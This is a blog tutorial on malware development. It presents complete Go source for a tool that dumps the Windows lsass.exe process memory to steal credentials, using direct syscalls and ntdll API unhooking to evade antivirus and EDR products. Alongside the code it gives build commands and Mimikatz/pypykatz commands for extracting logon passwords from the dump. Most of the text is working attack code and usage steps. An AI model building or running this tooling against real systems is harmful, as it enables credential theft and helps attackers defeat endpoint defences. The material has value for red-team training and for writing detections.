Malware Development 4 - Dump lsass.exe process + AV/EDR evasion (Golang)
Introduction
Hello dear hackers!
Today we’ll dump LSASS.EXE process memory to obtain credentials and we also will be using some evasion techniques. Inspired by Dumpert (an awesome tool)
Explanation
During red team operations you may need to get credentials to reuse them or/and maintain access but if you try to use Mimikatz to do this, is highly probable to be detected so instead of that we can dump the LSASS.EXE memory process which takes core of the security policies and it means Local Security Authority Subsystem Service. This technique must be done as Administrator because the process runs with high privileges and SeDebugPrivilege is required in order to interact with the LSASS process.
The general workflow of the program will be like this:
Code
The first part of the program will use direct syscalls as evasion technique (Hell’s Gate & Halo’s Gate) but we’ll apply more techniques later.
Let’s import necessary packages, if you haven’t installed my library execute this:
1
go get github.com/D3Ext/Hooka/pkg/hooka
Now we continue:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package main
import (
"os"
"fmt"
"log"
"time"
"errors"
"unsafe"
"syscall"
"golang.org/x/sys/windows"
// Custom malware dev package
"github.com/D3Ext/Hooka/pkg/hooka"
)
In this post we also will be using my own malware development library which has tons of useful functions but today we just will use it to implement direct syscall via Hell’s Gate and Halo’s Gate techniques. However the rest of the program like API unhooking will be done by hand.
In case you don’t know too much about this techniques you can get a really good overview of them here and here
I won’t dig this to deep but here we define required structures, most of them are used to interact with processes or session tokens later:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// Necessary structures
type ClientID struct {
UniqueProcess uintptr
UniqueThread uintptr
}
type ObjectAttrs struct {
Length uintptr
RootDirectory uintptr
ObjectName uintptr
Attributes uintptr
SecurityDescriptor uintptr
SecurityQualityOfService uintptr
}
type WindowsProcess struct { // Windows process structure
ProcessID int // PID
ParentProcessID int // PPID
Exe string // Cmdline executable (e.g. explorer.exe)
}
// Privileges and attributes
type Luid struct {
lowPart uint32
highPart int32
}
type LuidAndAttributes struct {
luid Luid
attributes uint32
}
type TokenPrivileges struct {
privilegeCount uint32
privileges [1]LuidAndAttributes
}
As I said before we need to have SeDebugPrivilege enabled in order to interact with LSASS.EXE process so let’s code a function which enables it using some Windows calls like LookupPrivilegeValueW
and AdjustTokenPrivileges
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
...
func EnableSeDebugPrivilege() (error) {
var privilege_name = "SeDebugPrivilege"
var tokenAdjustPrivileges = 0x0020 // Windows values
var SePrivilegeEnabled uint32 = 0x00000002
var tokenQuery = 0x0008
// Import DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
advapi32 := windows.NewLazyDLL("advapi32.dll")
// Resolve API calls
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
GetLastError := kernel32.NewProc("GetLastError")
OpenProcessToken := advapi32.NewProc("OpenProcessToken")
LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")
// Get current process handle
currentProc, _, _ := GetCurrentProcess.Call()
var hToken uintptr
// Get token from process
result, _, err := OpenProcessToken.Call(
currentProc,
uintptr(tokenAdjustPrivileges) | uintptr(tokenQuery),
uintptr(unsafe.Pointer(&hToken)),
)
if result != 1 { // Handle error
return err
}
var tkp TokenPrivileges
// Get token privileges values
result, _, err = LookupPrivilegeValue.Call(
uintptr(0),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(privilege_name))),
uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
)
if result != 1 { // Handle error
return err
}
// Modify with custom values
tkp.privilegeCount = 1
tkp.privileges[0].attributes = SePrivilegeEnabled
// Finally overwrite token privs
result, _, err = AdjustTokenPrivileges.Call(
hToken,
0,
uintptr(unsafe.Pointer(&tkp)),
0,
uintptr(0),
0,
)
if result != 1 { // Handle error
return err
}
// Check if last return code was an error
result, _, _ = GetLastError.Call()
if result != 0 {
return err
}
}
...
There are some comments along the code but in case you don’t wanna read every letter, this function follows this structure:
- 1. Get a handle to self process via GetCurrentProcess()
- 2. Get handle token via OpenProcessToken
- 3. Get privileges values via LookupPrivilegeValue
- 4. Modify and overwrite token to enable SeDebugPrivilege
Now we create a function to check administrator rights, for our purpose we’ll check if user is inside admins group. If someone executes the program as non-privileged user it returns an error
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
...
// I took and moded this function from somewhere but I don't remember
func CheckAdmin() (bool, error) {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid,
)
if err != nil {
return false, err
}
token := windows.Token(0)
// Check if is inside admin group
member, err := token.IsMember(sid)
if err != nil { // Handle error
return false, err
}
return member, nil
}
...
This function uses AllocateAndInitializeSid
API call to retrieve SIDs information and then it checks if the user is part of the Administrators group. If the user is an admin, it returns true
, otherwise it returns false
.
Let’s take a look about how to find lsass.exe PID. First of all we have to use some API calls like CreateToolhelp32Snapshot
and Process32Next
, I think that they are never detected as malicious or something like that because they just enumerate and list processes so we don’t have to do anything special.
However in this case we’ll be using a modified version of a function from https://github.com/mitchellh/go-ps/blob/master/process_windows.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// Auxiliary function
func newWindowsProcess(e *windows.ProcessEntry32) (WindowsProcess) {
end := 0
for {
if e.ExeFile[end] == 0 {
break
}
end++
}
return WindowsProcess{
ProcessID: int(e.ProcessID),
ParentProcessID: int(e.ParentProcessID),
Exe: syscall.UTF16ToString(e.ExeFile[:end]),
}
}
func FindLsassPid() (int, error) {
const TH32CS_SNAPPROCESS = 0x00000002
handle, err := windows.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if err != nil {
return 0, err
}
defer windows.CloseHandle(handle)
var entry windows.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
err = windows.Process32First(handle, &entry)
if err != nil {
return 0, err
}
results := make([]WindowsProcess, 0, 50)
for {
results = append(results, newWindowsProcess(&entry))
err = windows.Process32Next(handle, &entry)
if err != nil {
// Check if there aren't more processes
if err == syscall.ERROR_NO_MORE_FILES {
break
}
return 0, err
}
}
// Iterate over all processes
for _, proc := range results {
// Check if process name is lsass.exe
if proc.Exe == "lsass.exe" {
return proc.ProcessID, nil // Return PID
}
}
return 0, errors.New("lsass.exe process not found!")
}
Once we also have that, let’s start with the main part… the LSASS.EXE process dump
This function will receive the process ID (PID) and a string which is the file where the process dump will be written to
Golang function
1 2 3 func DumpLsass(pid int, output string) (error) { ... }
We use hooka
to retrieve direct syscalls (see here for references), I only use it with NtOpenProcess
however I also wanted to use it with NtCreateFile
but it was really hard so I let you to do that. We will use CreateFileW
instead
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
func DumpLsass(pid int, output string) (error) {
// Get syscall
NtOpenProcess, err := hooka.GetSysId("NtOpenProcess")
if err != nil {
return err
}
// Variable to store process pointer
var procHandle uintptr
// Open lsass process
_, err = hooka.Syscall(
NtOpenProcess, // syscall
uintptr(unsafe.Pointer(&procHandle)), // process handle
uintptr(0xFFFF),
uintptr(unsafe.Pointer(&ObjectAttrs{0, 0, 0, 0, 0, 0})), // attributes
uintptr(unsafe.Pointer(&ClientID{uintptr(pid), 0})),
0,
)
if err != nil { // Handle error
return err
} else if procHandle == 0 {
return err
}
// Create file on path
os.Create(dump_path)
// Get API call
CreateFile := windows.NewLazyDLL("kernel32").NewProc("CreateFileW")
// Convert string to uintptr
path, _ := syscall.UTF16PtrFromString(output)
// Call CreateFileW to write memory bytes
fHandle, _, _ := CreateFile.Call(
uintptr(unsafe.Pointer(path)), // file path
syscall.GENERIC_WRITE, // access
syscall.FILE_SHARE_READ | syscall.FILE_SHARE_WRITE,
0,
syscall.OPEN_EXISTING,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
MiniDumpWriteDump := windows.NewLazyDLL.NewProc("MiniDumpWriteDump")
// Dump memory
ret, _, err := MiniDumpWriteDump.Call(
uintptr(procHandle), // process handle
uintptr(pid), // process id
uintptr(fHandle), // file handle
0x00061907,
0,
0,
0,
)
if (ret == 0) {
os.Remove(dump_path)
return err
}
return nil
}
As you see, this piece of code firstly opens the given PID to get a handle to the process, then it creates a file in which dump is writen and finally calls MiniDumpWriteDump
which writes process memory to file handle.
At this point we just have to create the main()
function of every Golang script and adding some extra output logging:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
func main(){
fmt.Println("Checking permissions...")
check, err := CheckAdmin()
if err != nil {
log.Fatal(err)
}
if check == false {
log.Fatal(errors.New("An error has ocurred, please run as admin!"))
}
fmt.Println("Enabling SeDebugPrivilege...")
err = EnableSeDebugPrivilege()
if err != nil {
log.Fatal(err)
}
fmt.Println("Searching lsass.exe process...")
pid, err := FindLsassPid()
if err != nil {
log.Fatal(err)
}
fmt.Println("PID found:", pid)
fmt.Println("Dumping lsass.exe process...")
err = DumpLsass(pid, "lsass.dmp")
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Process finished!")
}
Let’s add some logging to the code to provide a better output. And finally add some cool banner using manytools.org automatic generator
And here it’s the final code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
package main
/*
Author: D3Ext
Blog post: https://d3ext.github.io/posts/malware-dev-4/
*/
...
// Packages and structs omitted for brevety
func EnableSeDebugPrivilege() (error) {
var privilege_name = "SeDebugPrivilege"
var tokenAdjustPrivileges = 0x0020 // Windows values
var tokenQuery = 0x0008
var SePrivilegeEnabled uint32 = 0x00000002
// Import DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
advapi32 := windows.NewLazyDLL("advapi32.dll")
// Get API calls
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
GetLastError := kernel32.NewProc("GetLastError")
OpenProcessToken := advapi32.NewProc("OpenProcessToken")
LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")
// Get current process handle
currentProc, _, _ := GetCurrentProcess.Call()
var hToken uintptr
// Get token from process
result, _, err := OpenProcessToken.Call(
currentProc,
uintptr(tokenAdjustPrivileges) | uintptr(tokenQuery),
uintptr(unsafe.Pointer(&hToken)),
)
if result != 1 { // Handle error
return err
}
var tkp TokenPrivileges
// Get token privileges values
result, _, err = LookupPrivilegeValue.Call(
uintptr(0),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(privilege_name))),
uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
)
if result != 1 { // Handle error
return err
}
// Modify with custom values
tkp.privilegeCount = 1
tkp.privileges[0].attributes = SePrivilegeEnabled
// Finally overwrite token privs
result, _, err = AdjustTokenPrivileges.Call(
hToken,
0,
uintptr(unsafe.Pointer(&tkp)),
0,
uintptr(0),
0,
)
if result != 1 { // Handle error
return err
}
// Check if last return code was an error
result, _, _ = GetLastError.Call()
if result != 0 {
return err
}
return nil
}
func CheckAdmin() (bool, error) {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid,
)
if err != nil {
return false, err
}
token := windows.Token(0)
// Check if is inside admin group
member, err := token.IsMember(sid)
if err != nil { // Handle error
return false, err
}
return member, nil
}
// Auxiliary function moded from https://github.com/mitchellh/go-ps/blob/master/process_windows.go
func newWindowsProcess(e *windows.ProcessEntry32) (WindowsProcess) {
end := 0
for {
if e.ExeFile[end] == 0 {
break
}
end++
}
return WindowsProcess{
ProcessID: int(e.ProcessID),
ParentProcessID: int(e.ParentProcessID),
Exe: syscall.UTF16ToString(e.ExeFile[:end]),
}
}
func FindLsassPid() (int, error) {
const TH32CS_SNAPPROCESS = 0x00000002
handle, err := windows.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if err != nil {
return 0, err
}
defer windows.CloseHandle(handle)
var entry windows.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
err = windows.Process32First(handle, &entry)
if err != nil {
return 0, err
}
results := make([]WindowsProcess, 0, 50)
for {
results = append(results, newWindowsProcess(&entry))
err = windows.Process32Next(handle, &entry)
if err != nil {
// Check if there aren't more processes
if err == syscall.ERROR_NO_MORE_FILES {
break
}
return 0, err
}
}
// Iterate over all processes
for _, proc := range results {
// Check if process name is lsass.exe
if proc.Exe == "lsass.exe" {
return proc.ProcessID, nil // Return PID
}
}
return 0, errors.New("lsass.exe process not found!")
}
func DumpLsass(pid int, output string) (error) {
// Get syscall ID
NtOpenProcess, err := hooka.GetSysId("NtOpenProcess")
if err != nil { // Handle error
return err
}
// Variable to store process pointer
var procHandle uintptr
// Open lsass process
_, err = hooka.Syscall(
NtOpenProcess, // syscall
uintptr(unsafe.Pointer(&procHandle)), // process handle
uintptr(0xFFFF),
uintptr(unsafe.Pointer(&ObjectAttrs{0, 0, 0, 0, 0, 0})), // attributes
uintptr(unsafe.Pointer(&ClientID{uintptr(pid), 0})),
0,
)
if err != nil { // Handle error
return err
} else if procHandle == 0 {
return err
}
// Create file on path
os.Create(output)
// Get API call
CreateFile := windows.NewLazyDLL("kernel32").NewProc("CreateFileW")
// Convert string to uintptr
path, _ := syscall.UTF16PtrFromString(output)
// Call CreateFileW to write memory bytes
fHandle, _, _ := CreateFile.Call(
uintptr(unsafe.Pointer(path)), // file path
syscall.GENERIC_WRITE, // access
syscall.FILE_SHARE_READ | syscall.FILE_SHARE_WRITE,
0,
syscall.OPEN_EXISTING,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
MiniDumpWriteDump := windows.NewLazyDLL("Dbghelp.dll").NewProc("MiniDumpWriteDump")
// Dump memory
ret, _, err := MiniDumpWriteDump.Call(
uintptr(procHandle), // process handle
uintptr(pid), // process id
uintptr(fHandle), // file handle
0x00061907, // MiniDumpWithFullMemory
0,
0,
0,
)
if (ret == 0) { // Handle error
os.Remove(output)
return err
}
return nil
}
func Banner(){
fmt.Println(` ___ ___
/ __|___ ___| \ _ _ _ __ _ __
| (_ / _ \___| |) | || | ' \| '_ \
\___\___/ |___/ \_,_|_|_|_| .__/
|_|
`)
}
func main(){
Banner()
fmt.Println("[*] Checking permissions...")
check, err := CheckAdmin()
if err != nil {
log.Fatal(err)
}
if check == false {
log.Fatal(errors.New("An error has ocurred, please run as admin!"))
}
fmt.Println("[+] Administrator privileges found!")
fmt.Println("Enabling SeDebugPrivilege...")
err = EnableSeDebugPrivilege()
if err != nil {
log.Fatal(err)
}
fmt.Println("[*] Searching lsass.exe process...")
pid, err := FindLsassPid()
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] PID found:", pid)
fmt.Println("[*] Dumping lsass.exe process...")
err = DumpLsass(pid, "lsass.dmp")
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Process finished!")
}
If you have any doubt or you wanna ask me anything, contact me via Discord my user is d3ext
Let’s go testing it!
Demo
First of all we compile our code:
1
GOARCH=amd64 GOOS=windows go build main.go
Now we transfer it to our testing Windows machine and let’s execute it
As you can see it seems to have worked. If I list the files we notice that the dump file was created as expected!
Now you can use Mimikatz (or pypykatz if using linux) to extract credentials from memory dump
Mimikatz internal commands
1 2 sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords
Pypykatz from CLI
1 pypykatz lsa minidump lsass.dmp
If all has gone right you should be able to see the info and credentials
Evasion via API unhooking
Now let’s hard the things to evade possible security measures. In this ocassion we’ll be unhooking native API functions before doing anything so the rest of syscalls aren’t going to be detected.
If you don’t know how API unhooking works you have some excellent posts from ired.team, @MDSec and @SpecialHoang in which they explain it really great.
How will this affect to MiniDumpWriteDump? Well, you probably would have noticed that this function isn’t part of the native API (ntdll.dll), and you’re right but this function uses NtReadVirtualMemory
under the hood so if that function isn’t being hooked by any AV/EDR it won’t probably be flagged. You may also think that the same syscalls which are used to unhook native API (i.e. NtWriteVirtualMemory) will even be detected as they’re being called, but that’s why we use direct syscalls via Hell’s Gate and Halo’s Gate techniques.
So the evasion workflow will be something like this:
Before coding this technique, let’s check if the MiniDumpWriteDump calls NtReadVirtualMemory under the hood with WinDbg
First of all we open WinDbg with administrator privs as program needs to be executed with high privs.
Then we click on Open Executable and select the generated .exe
We add a breakpoint on the NtReadVirtualMemory function and continue the program execution. As you can see we hitted the breakpoint so we were right. In this case the syscall starting bytes are 4c 8b d1 b8
which means that the function isn’t hooked but in a monitorized environment it would probably be
Let’s move the explanation into Golang code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
func UnhookApi() (error) {
// Get calls from dll
kernel32 := windows.NewLazyDLL("kernel32.dll")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
GetModuleHandle := kernel32.NewProc("GetModuleHandleW")
GetProcAddress := kernel32.NewProc("GetProcAddress")
// Define bytes array for original syscall bytes
var assembly_bytes []byte
ntdll_lib, _ := syscall.LoadLibrary("C:\\Windows\\System32\\ntdll.dll")
defer syscall.FreeLibrary(ntdll_lib)
procAddr, _ := syscall.GetProcAddress(ntdll_lib, "NtReadVirtualMemory")
ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
funcBytes := ptr_bytes[:5:5]
for i := 0; i < 5; i++ {
assembly_bytes = append(assembly_bytes, funcBytes[i])
}
pHandle, _, _ := GetCurrentProcess.Call()
ntdll_ptr, _ := windows.UTF16PtrFromString("ntdll.dll")
moduleHandle, _, _ := GetModuleHandle.Call(uintptr(unsafe.Pointer(ntdll_ptr)))
funcname, _ := windows.UTF16PtrFromString("NtReadVirtualMemory")
baseAddr, _, _ := GetProcAddress.Call(moduleHandle, uintptr(unsafe.Pointer(funcname)))
// Get syscall
NtWriteVirtualMemory, err := hooka.GetSysId("NtWriteVirtualMemory")
if err != nil {
return err
}
hooka.Syscall(
NtWriteVirtualMemory,
uintptr(pHandle),
uintptr(baseAddr),
uintptr(unsafe.Pointer(&assembly_bytes[0])),
uintptr(len(assembly_bytes)),
0,
)
return nil
}
Once we have this function we just have to add it on the main function. And now let’s see how it works
Demo 2
Repeat the same process
1
GOARCH=amd64 GOOS=windows go build evasion.go
Now we execute the new binary
And the dump file is created too!
References
1
2
3
4
5
6
7
8
9
10
https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next
https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess
https://github.com/outflanknl/Dumpert
https://j00ru.vexillium.org/syscalls/nt/64/
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.001/T1003.001.md
https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
Conclusion
As you see this technique is useful because it doesn’t use Mimikatz but instead use MiniDumpWriteDump
API call which is sometimes easy to detect by EDRs. That’s why we use some evasion tricks. I hope you’ve learned a lot :)
Source code here